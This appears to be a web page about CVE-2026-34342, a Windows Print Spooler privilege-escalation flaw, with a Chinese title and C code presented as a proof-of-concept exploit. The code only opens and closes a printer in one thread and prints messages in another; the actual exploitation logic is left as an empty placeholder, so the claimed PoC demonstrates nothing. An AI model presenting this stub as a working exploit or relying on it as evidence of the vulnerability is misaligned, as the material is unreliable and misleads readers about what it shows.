CVE-2026-34342 Windows打印后台处理程序权限提升漏洞

/* * PoC for CVE-2026-34342 * Conceptual demonstration of a race condition in Windows Print Spooler. * This code attempts to exploit the synchronization issue in shared resources. */ #include <windows.h> #include <stdio.h> DWORD WINAPI ThreadA(LPVOID lpParam) { // Simulate legitimate operation on the shared resource HANDLE hSpooler = OpenPrinter("Microsoft Print to PDF", NULL, NULL); if (hSpooler) { Sleep(10); // Introduce delay to widen the race window ClosePrinter(hSpooler); } return 0; } DWORD WINAPI ThreadB(LPVOID lpParam) { // Simulate malicious operation attempting to elevate privileges // exploiting the lack of synchronization in ThreadA Sleep(5); // Attempt to hit the race window // In a real exploit, this would involve memory corruption or // hijacking a privileged operation to execute code as SYSTEM. printf("[+] Attempting to exploit race condition...\n"); // Hypothetical exploitation logic // ... return 0; } int main() { printf("[*] Starting PoC for CVE-2026-34342...\n"); HANDLE hThreads[2]; hThreads[0] = CreateThread(NULL, 0, ThreadA, NULL, 0, NULL); hThreads[1] = CreateThread(NULL, 0, ThreadB, NULL, 0, NULL); WaitForMultipleObjects(2, hThreads, TRUE, INFINITE); CloseHandle(hThreads[0]); CloseHandle(hThreads[1]); printf("[*] Exploit attempt finished.\n"); return 0; }